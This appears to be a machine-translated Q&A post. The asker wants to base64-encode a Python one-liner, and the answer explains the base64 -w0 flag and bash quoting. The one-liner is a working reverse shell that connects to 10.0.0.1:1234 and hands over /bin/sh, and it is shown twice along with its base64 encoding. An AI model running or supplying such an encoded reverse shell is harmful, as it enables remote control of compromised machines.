所以我正在尝试对包含python一个线性程序的字符串进行base64编码。
无论如何将base64编码的字符串拆分为多行,该如何逃避?我假设这是引号。 “'”
这是我尝试过的:
echo "python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'" | base64
它输出:
cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7IHM9c29ja2V0LnNvY2tldChz
b2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKTsgcy5jb25uZWN0KCgxMC4wLjAuMSwx
MjM0KSk7IG9zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5k
dXAyKHMuZmlsZW5vKCksMik7IHA9c3VicHJvY2Vzcy5jYWxsKFsvYmluL3NoLC1pXSk7Jwo=
答案 0 :(得分:1)
根据输出的长度插入无论将base64编码的字符串分成多行是什么?
换行符,根据输入的特殊符号插入 not 。参见man base64
:
-w, --wrap=COLS wrap encoded lines after COLS character (default 76). Use 0 to disable line wrapping
因此,您可以写echo someString | base64 -w0
。
请注意,如果您未正确引用字符串,bash
可能会破坏您的字符串。在您的情况下,"
中的subprocess.call(["/bin/sh","-i"])
被bash
吞噬,而echo
打印了 not 。编写\"
或使用here-doc:
base64 -w0 <<'EOF'
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
EOF